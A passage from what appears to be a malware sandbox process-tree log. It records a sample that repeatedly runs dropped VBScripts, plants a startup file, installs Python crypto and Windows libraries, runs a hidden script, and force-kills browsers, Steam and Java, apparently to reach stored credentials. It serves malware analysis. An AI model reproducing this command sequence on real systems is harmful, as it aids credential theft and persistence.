    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""
    3⤵
    PID:6012
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"
      4⤵
      PID:8252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    PID:8864
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      PID:5668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    PID:8232
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:8312
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome
    3⤵
    - Executes dropped EXE
    PID:7936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8568
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin32
    3⤵
    - Executes dropped EXE
    PID:7704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8580
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows
    3⤵
    - Executes dropped EXE
    PID:4896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8596
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil
    3⤵
    - Executes dropped EXE
    PID:8044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8788
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4304
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:7984
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      PID:5436
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      PID:7108
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      PID:7592
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      PID:7040
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:8764
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:9012
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:5340
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      PID:7484
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      PID:2612
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      PID:7804
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM QQBrowser.exe
      4⤵
      PID:8240
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      Kills process with taskkill
      PID:8228
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      Kills process with taskkill
      PID:1416
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:9000
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:5224
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:7364
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:5416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:9192
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      PID:8104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""
    3⤵
    PID:8072
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"
      4⤵
      Drops startup file
      PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""
    3⤵
    PID:8972
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"
      4⤵
      PID:6276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    PID:5796
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      PID:7980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    PID:9112
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      PID:4276
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome
    3⤵
    - Executes dropped EXE
    PID:8056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8012
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin32
    3⤵
    - Executes dropped EXE
    PID:8112
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:9048
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows
    3⤵
    - Executes dropped EXE
    PID:4284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7176
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil
    3⤵
    - Executes dropped EXE
    PID:5180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7360
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2328
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:8532
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:936
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      PID:8188
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:7680
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      PID:6964
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:9028
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:9072
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:7180
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      PID:7432
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      Kills process with taskkill
      PID:7572
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      Kills process with taskkill
      PID:8456
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM QQBrowser.exe
      4⤵
      Kills process with taskkill
      PID:7532
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      PID:9152
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      PID:7644
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:8452
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:8520
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:4876
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:8704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:5132
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      PID:8060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""
    3⤵
    PID:7236
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"
      4⤵
      Drops startup file
      PID:7820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""
    3⤵
    PID:5768
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"
      4⤵
      PID:6976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    PID:8688
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      PID:7372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    PID:7196
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:8896
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome
    3⤵
    - Executes dropped EXE
    PID:5148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:6072
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin32
    3⤵
    - Executes dropped EXE
    PID:7252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7760
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows
    3⤵
    - Executes dropped EXE
    PID:6788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:6036
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil
    3⤵
    - Executes dropped EXE
    PID:7440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:6812
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4756
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:6580
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      PID:6632
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      PID:3020
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:8740
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      PID:8596
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:8676
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:7212
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:8964
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      PID:5988
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      Kills process with taskkill
      PID:6096
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      PID:8436
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM QQBrowser.exe
      4⤵
      PID:8900
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      Kills process with taskkill
      PID:7592
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      PID:1700
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:7652
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:692
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:8624
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:4604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:9044
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      PID:7452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""
    3⤵
    PID:6588
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"
      4⤵
      Drops startup file
      PID:5984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""
    3⤵
    PID:7416
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"
      4⤵
      PID:9128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    PID:5392
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      PID:7488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    PID:5428
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      PID:6108
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome
    3⤵
    - Executes dropped EXE
    PID:8920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8376
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin32
    3⤵
    - Executes dropped EXE
    PID:6820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:6320
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows
    3⤵
    - Executes dropped EXE
    PID:6704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:9120
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil
    3⤵
    - Executes dropped EXE
    PID:2284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:6276
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py
    3⤵
    - Executes dropped EXE
    PID:6244
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:9104
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      PID:9048
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:1652
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:5052
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:1176
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:7604
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:2140
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:9208
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      Kills process with taskkill
      PID:9064
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      Kills process with taskkill
      PID:9164
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      PID:8404
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM QQBrowser.exe
      4⤵
      PID:7680
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      PID:5432
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      Kills process with taskkill
      PID:8152
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:7904
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:8460
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:7808
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:5160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:3956
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      PID:7932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""
    3⤵
    PID:6940
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"
      4⤵
      Drops startup file
      PID:7072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""
    3⤵
    PID:4112
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"
      4⤵
      PID:7860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    PID:7076
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      PID:5904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    PID:3836
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      PID:8020
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome
    3⤵
    - Executes dropped EXE
    PID:8204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:4336
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin32
    3⤵
    - Executes dropped EXE
    PID:7856
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7960
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows
    3⤵
    - Executes dropped EXE
    PID:6688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7496
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil
    3⤵
    - Executes dropped EXE
    PID:8000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7748
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py
    3⤵
    - Executes dropped EXE
    PID:8248
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:872
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:5408
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:8432
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:7088
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      PID:6552
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:6428
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:3276
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:8336
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      PID:6632
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      PID:8644
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM browser.exe
      4⤵
      Kills process with taskkill
      PID:8788
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM QQBrowser.exe
      4⤵
      PID:1588
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      PID:8924
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM 360chrome.exe
      4⤵
      Kills process with taskkill
      PID:5988
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:6096
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:6892
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:8900
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:6116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
    3⤵
    PID:5700
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name /value
      4⤵
      Detects videocard installed
      PID:1868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""
    3⤵
    PID:5528
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"
      4⤵
      Drops startup file
      PID:6316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""
    3⤵
    PID:8296
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"
      4⤵
      PID:5332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    PID:6548
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    PID:6380
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:7284
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome
    3⤵
    - Executes dropped EXE
    PID:7688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:384
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin32
    3⤵
    - Executes dropped EXE
    PID:6896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8104
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows
    3⤵
    - Executes dropped EXE
    PID:9124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8640
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil
    3⤵
    - Executes dropped EXE
    PID:9084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:8120
- - C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py
    3⤵
    - Executes dropped EXE
    PID:3772
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:9032
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      PID:8716
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:2124
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:6468
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      PID:4920
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      PID:7176
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      PID:64
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
